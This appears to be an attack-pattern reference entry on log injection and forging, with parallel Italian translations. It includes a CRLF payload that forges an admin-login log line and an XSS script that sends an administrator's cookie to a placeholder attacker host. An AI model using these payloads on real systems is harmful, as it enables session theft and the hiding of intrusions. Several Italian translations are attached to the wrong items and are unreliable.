This attack targets the log files of the target host. The attacker injects, manipulates or forges malicious log entries in the log file, allowing them to mislead a log audit, cover traces of attack, or perform other malicious actions. The target host is not properly controlling log access. As a result tainted data is resulting in the log files leading to a failure in accountability, non-repudiation and incident forensics capability.
Description
Attack Execution Flow
Step 1
Explore[Determine Application's Log File Format] The first step is exploratory meaning the attacker observes the system. The attacker looks for action and data that are likely to be logged. The attacker may be familiar with the log format of the system.
Determine logging utility being used by application (e.g. log4j)
Gain access to application's source code to determine log file formats.
Install or obtain access to instance of application and observe its log file format.
[Determina il formato del file di log dell'applicazione] Il primo passo è esplorativo, ovvero l'attaccante osserva il sistema. L'attaccante cerca azioni e dati che sono probabilmente registrati. L'attaccante potrebbe essere familiare con il formato dei log del sistema.
Determina l'utilità di logging utilizzata dall'applicazione (ad esempio log4j)
Ottieni l'accesso al codice sorgente dell'applicazione per determinare i formati dei file di log.
Installa o ottieni l'accesso a un'istanza dell'applicazione e osserva il formato del suo file di log.
Attack Techniques
-
Determine logging utility being used by application (e.g. log4j)
-
Gain access to application's source code to determine log file formats.IT: Determina l'utilità di logging utilizzata dall'applicazione (ad esempio log4j)
-
Install or obtain access to instance of application and observe its log file format.IT: Determina l'utilità di logging utilizzata dall'applicazione (ad esempio log4j)
Step 2
Exploit[Manipulate Log Files] The attacker alters the log contents either directly through manipulation or forging or indirectly through injection of specially crafted input that the target software will write to the logs. This type of attack typically follows another attack and is used to try to cover the traces of the previous attack.
Use carriage return and/or line feed characters to start a new line in the log file, and then, add a fake entry. For example:
'%0D%0A[Thu%20Nov%2012%2011:22]:Info:%20User%20admin%20logged%20in'
may add the following forged entry into a log file:
'[Thu Nov 12 12:11:22]:Info: User admin logged in'
Different applications may require different encodings of the carriage return and line feed characters.
Insert a script into the log file such that if it is viewed using a web browser, the attacker will get a copy of the operator/administrator's cookie and will be able to gain access as that user. For example, a log file entry could contain
<script>new Image().src='http://xss.attacker.com/log_cookie?cookie='+encodeURI(document.cookie);</script>
The script itself will be invisible to anybody viewing the logs in a web browser (unless they view the source for the page).
[Manipolare i file di log] L'attaccante altera il contenuto dei log, sia tramite manipolazione diretta o falsificazione, sia indirettamente attraverso l'iniezione di input appositamente creati che il software di destinazione scriverà nei log. Questo tipo di attacco di solito segue un altro attacco ed è utilizzato per cercare di coprire le tracce dell'attacco precedente.
Utilizzare caratteri di carriage return e/o line feed per iniziare una nuova riga nel file di log e poi aggiungere una voce falsa. Ad esempio:
"%0D%0A[Thu%20Nov%2012%2011:22]:Info:%20User%20admin%20logged%20in"
può aggiungere la seguente voce falsificata in un file di log:
"[Thu Nov 12 12:11:22]:Info: User admin logged in"
Applicazioni diverse potrebbero richiedere codifiche differenti dei caratteri di carriage return e line feed.
Inserire uno script nel file di log in modo che, se visualizzato tramite un browser web, l'attaccante ottenga una copia del cookie dell'operatore/amministratore e possa accedere come quell'utente. Ad esempio, una voce nel file di log potrebbe contenere:
<script>new Image().src="http://xss.attacker.com/log_cookie?cookie="+encodeURI(document.cookie);</script>
Lo script stesso sarà invisibile a chi visualizza i log in un browser web (a meno che non visualizzino il codice sorgente della pagina).
Attack Techniques
-
Insert a script into the log file such that if it is viewed using a web browser, the attacker will get a copy of the operator/administrator's cookie and will be able to gain access as that user. For example, a log file entry could contain <script>new Image().src="http://xss.attacker.com/log_cookie?cookie="+encodeURI(document.cookie);</script> The script itself will be invisible to anybody viewing the logs in a web browser (unless they view the source for the page).
-
Use carriage return and/or line feed characters to start a new line in the log file, and then, add a fake entry. For example: "%0D%0A[Thu%20Nov%2012%2011:22]:Info:%20User%20admin%20logged%20in" may add the following forged entry into a log file: "[Thu Nov 12 12:11:22]:Info: User admin logged in" Different applications may require different encodings of the carriage return and line feed characters.IT: Inserisci uno script nel file di log in modo che, se viene visualizzato tramite un browser web, l'attaccante ottenga una copia dei cookie dell'operatore/amministratore e possa accedere come quell'utente. Ad esempio, una voce nel file di log potrebbe contenere <script>new Image().src="http://xss.attacker.com/log_cookie?cookie="+encodeURI(document.cookie);</script> Lo script stesso sarà invisibile a chi visualizza i log in un browser web (a meno che non visualizzino il codice sorgente della pagina).